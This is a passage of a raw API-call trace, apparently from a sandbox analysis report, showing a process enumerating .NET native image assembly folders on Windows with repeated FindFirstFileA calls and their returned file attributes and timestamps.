lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaff48220, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1064fa60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1064fa60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.698] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Comp7dda8007#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc74ec50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10675bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10675bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.710] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Comp7dda8007#\\c62a9edab7d0d396836cdc8487e45bac\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc74ec50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10675bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10675bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.716] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Compba577418#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15cce2a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1069bd20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1069bd20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.722] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Compba577418#\\52651d0f7e6ed02937fb1d37864b60bc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa94042c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1069bd20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1069bd20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.727] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15e711c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x106c1e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x106c1e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.733] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\ce3758c8ab106755a5f2db634d45d22d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa55ae2a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x106c1e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x106c1e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.739] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9064160, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x106c1e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x106c1e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.745] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\766a572f745b54553bd34406293b4f78\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1d71ae0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x106e7fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x106e7fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.750] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6376220, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x106e7fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x106e7fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.756] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d713080, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x106e7fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x106e7fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.762] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c07bbe0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1070e140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1070e140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.768] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\9b88ea7b312bcfe8fc18071e61d3bc2b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaababd60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1070e140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1070e140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.773] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Entity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11c67ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x107342a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x107342a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.778] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Entity\\4ab6618af01027921e5254116aa502c4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11c67ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x107342a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x107342a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.783] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Linq\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca99960, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x107342a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x107342a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.789] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Linq\\9d8d109c0f7397edb1a75602159e00f4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4eb0200, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1075a400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1075a400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.795] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Services\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138862b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1075a400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1075a400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.801] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Services\\a7138264a4b571e9fcf90ef64cc1247b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138862b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1075a400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1075a400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.807] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.SqlXml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb62dea0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10780560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10780560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.812] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.SqlXml\\93fd3b7ae916b85c96b7031dcf13b3eb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3fa9720, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10780560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10780560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.818] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data14bed3a9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e40f410, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10780560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10780560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.825] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data14bed3a9#\\18c1b81f0da871938353a634399577e1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e40f410, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x107a66c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x107a66c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.834] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data16016462#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208a8650, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x107a66c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x107a66c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.840] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data16016462#\\ad0a782d2347dd65829f6f9d0f20284e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208a8650, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x107cc820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x107cc820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.845] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data7706cdc8#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9f430, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x107cc820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x107cc820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.851] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data7706cdc8#\\abe7f7a6a6b0b9a18dc9dc0a74d8d242\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9f430, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x107f2980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x107f2980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.857] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data86569bbf#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22533ec0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x107f2980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x107f2980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.863] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data86569bbf#\\29bf69ad891bd967ff52bb1888d4dd74\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafda5300, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x107f2980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x107f2980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.869] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Datab086ae17#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x128c10f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10818ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10818ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.874] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Datab086ae17#\\f284a30e6b0e1c9d29e5a16f40ffc779\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x128c10f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10818ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10818ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.879] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Deployment\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a5da5c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10818ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10818ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.885] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Deployment\\0de9bbf4a723a49be5eb03451b861c23\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5b7b840, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1083ec40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1083ec40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.890] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Design\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7eafdc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1083ec40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1083ec40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.898] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Design\\86686fb9ee8c159066eada42b7657a30\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8549aa0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10864da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10864da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.905] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Device\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x213aac10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10864da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10864da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.913] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Device\\2b6497aa017e11fbda75bbd9007c0669\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x213aac10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10864da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10864da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.923] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dire573b08f5#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21e87070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1088af00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1088af00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.941] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dire573b08f5#\\8c2522dbbbb50c208f8ec843e784e8cd\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21e87070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x108b1060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x108b1060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.948] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dire5d62f0a2#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22b4d720, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x108d71c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x108d71c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.954] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dire5d62f0a2#\\1aeeb6134318775c231c6f13d7c4a6e9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00eb140, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x108d71c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x108d71c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.962] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, 